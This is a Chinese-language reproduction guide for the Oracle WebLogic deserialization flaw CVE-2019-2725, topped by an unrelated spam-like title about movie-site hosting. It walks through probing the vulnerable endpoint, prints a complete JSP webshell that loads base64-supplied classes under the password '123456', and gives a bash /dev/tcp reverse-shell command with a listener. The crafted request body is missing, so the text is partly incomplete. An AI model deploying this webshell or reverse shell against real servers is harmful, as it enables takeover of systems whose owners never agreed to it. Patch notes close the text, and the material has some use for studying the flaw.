做电影网站用什么虚拟主机网上销售方法
漏洞描述：
CVE-2019-2725是一个Oracle weblogic反序列化远程命令执行漏洞，这个漏洞依旧是根据weblogic的xmldecoder反序列化漏洞，通过针对Oracle官网历年来的补丁构造payload来绕过。
复现过程：
1.访问ip：port
2.可以访问
/_async/AsyncResponseService，则存在漏洞
3.查看网站路径
/_async/AsyncResponseService?info
4.开启http服务
5.将GET改为POST，随后请求包部分除了第一行第二行保留，其他全部替换如下payload
POST /_async/AsyncResponseService HTTP/1.1

6.使用payload上传jsp木马
Jsp源码，密码123456
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("123456");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
7.访问上传木马
8.蚁剑连接
9.反弹shell
9.1payload
bash -i >& /dev/tcp/target ip/target port 0>&1这里>&需要转换，否则无法利用
例：
bash -i >& /dev/tcp/ip/9999 0>&1
9.2本机监听
修复建议：
1.升级本地JDK环境
2.及时安装官方补丁
